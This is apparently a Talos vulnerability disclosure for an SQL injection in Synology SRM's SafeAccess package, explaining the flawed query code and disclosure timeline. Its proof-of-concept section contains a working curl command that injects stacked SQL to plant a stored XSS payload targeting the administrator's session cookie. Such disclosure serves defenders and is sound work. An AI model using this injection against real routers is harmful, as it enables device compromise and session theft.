Talos Vulnerability Report

TALOS-2020-1087

# Synology SRM SafeAccess 1.2.1-0220 code execution Vvulnerability

MAY 18, 2020

### CVE NUMBER

CVE-2020-27659, CVE-2020-27660

### Summary

An exploitable code execution vulnerability exists in the SafeAccess 1.2.1-0220 package of Synology SRM 1.2.3 RT2600ac 8017-5. A specially crafted domain access request can lead to an SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

### Tested Versions

Synology SRM 1.2.3 RT2600ac 8017-5

### Product URLs

https://www.synology.com/en-global/srm

### CVSSv3 Score

8.3 - CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

### CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

### Details

Synology Router Manager (SRM) is a Linux-based operating system for Synology routers.

SRM allows for installing additional packages to add new functionalities to the router.
One of the installable packages is "SafeAccess", which can be used to track users in the local network in order to filter their Internet access (blacklisting websites, limiting the browsing time, etc.).

For example, a user can be put in a specific profile that limits the browsing of shopping websites. If the user then tries to connect to one of the blocked websites, a blocking page will be shown. In the blocking page, there's a button that allows to send a request to the network administrator, and ask the access anyway. At this point, the network administrator will receive a notification (in various configurable ways), and will have the possibility do deny or allow access via the web interface.

The request button sends an HTTP request:

```
GET /cgi/request.cgi?_dc=15895620627536domain=shopping.local HTTP/1.1          // [1]
Host: shopping.local
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://shopping.local/
```

In the example above the users asks for access to the blocked website "shopping.local" [1].

The `request.cgi` binary in the router handles the request. The requested domain is extracted and is eventually passed to the `libsynosafeaccesslog.so` library, which logs the request attempt by inserting it in a `sqlite` database in "/usr/syno/etc/packages/SafeAccess/synosafeaccesslog/log.db". The query is built in function `syno::safeaccess::insert`:

```
/* syno::safeaccess::insert(SQLite::Database&, std::basic_string, std::basic_string) */

void __thiscall insert(safeaccess *this, Database *db, basic_string *table, basic_string *text) {
  basic_format(&fmt,
               "INSERT OR IGNORE INTO %1% (id, text) VALUES((SELECT MAX(id)+1 FROM %1%),\'%2%\');",      // [2]
               table,text);
  _local_a8 = db;
  pbVar1 = feed_impl(&fmt,&local_a8);
  _local_9c = table;
  pbVar2 = feed_impl(pbVar1,&local_9c);
  str(&query,pbVar2);
  exec((Database *)this,query);                                                                          // [3]
  ...
  return;
}
```

At [2], the format string for the query is built, and we can see the second parameter, `text`, is wrapped in single quotes, however it has never been escaped before. This parameter is completely controllable and corresponds to the `domain` parameter sent via the "GET" request at [1].
Finally the query is passed to the function `SQLite::Database::exec` at [3], resulting in a SQL injection via the "domain" parameter.

For reference, the full function call for `request.cgi` is the following:

```
(gdb) bt
#0  0xb574f9cc in SQLite::Database::exec(char const*) () from /lib/libSQLiteCpp.so.5.2
#1  0xb5a98458 in syno::safeaccess::insert(SQLite::Database&, std::string const&, std::string const&) () from
/var/packages/SafeAccess/target/lib/libsynosafeaccesslog.so.5.2
#2  0xb5a9a8e0 in syno::safeaccess::Logger::add(syno::safeaccess::RequestLog const&, long) const () from
/var/packages/SafeAccess/target/lib/libsynosafeaccesslog.so.5.2
#3  0xb6cf6338 in syno::parentalcontrol::RequestSender::SendByMacIfname(std::string const&, std::string const&, std::string const&) () from
/var/packages/SafeAccess/target/lib/libsynoparentalcontrol.so.1.2.1
#4  0xb6cf5de8 in syno::parentalcontrol::RequestSender::SendByIp(std::string const&, std::string const&) () from
/var/packages/SafeAccess/target/lib/libsynoparentalcontrol.so.1.2.1
#5  0x00011704 in ?? ()
#6  0x00011850 in ?? ()
#7  0xb693b5bc in __libc_start_main () from /lib/libc.so.6
```

Because the `httpd` server is executed as the `root` user, an attacker could exploit this SQL injection to execute arbitrary code in the device.

### Exploit Proof of Concept

The SQL injection described above allows to execute stacked queries, making this issue exploitable it in multiple ways.

In this proof-of-concept, we demonstrate one simple exploitation method: via the SQL injection, we connect to a different database and exploit a subsequent XSS in the SafeAccess “Profile” and “Activity/Logs” pages, in order to steal the session cookie of the web interface.

```
$ sql='commit;'\
'attach database "/usr/syno/etc/packages/SafeAccess/synoaccesscontrol/database.db" as x;'\
'update x.profile set name="user<img src=/ onerror=""alert(document.cookie)""/>" where id=3;'
$ curl "http://10.254.1.2/cgi/request.cgi?domain=%27);"$(echo "$sql" | sed "s/ /%20/g")"--"
```

The proof-of-concept assumes there’s one user profile (hence why `id=3`) configured in SafeAccess.

Once executed, the profile name for user id 3 will be changed into `user<img src=/ onerror=""alert(document.cookie)""/>`. When an administrator logs into the web interface and browses for the SafeAccess logs or profiles (because of a notification previously received via `request.cgi`), the Javascript will execute. This happens because the profile name is trusted, hence not sanitized before being inserted into the page.

Moreover, note that the session cookie is accessible because of the issue described in TALOS-2020-1086.

### Timeline

2020-05-18 - Vendor Disclosure
2020-11-30 - Public Release

### CREDIT

Discovered by Claudio Bozzato of Cisco Talos.

---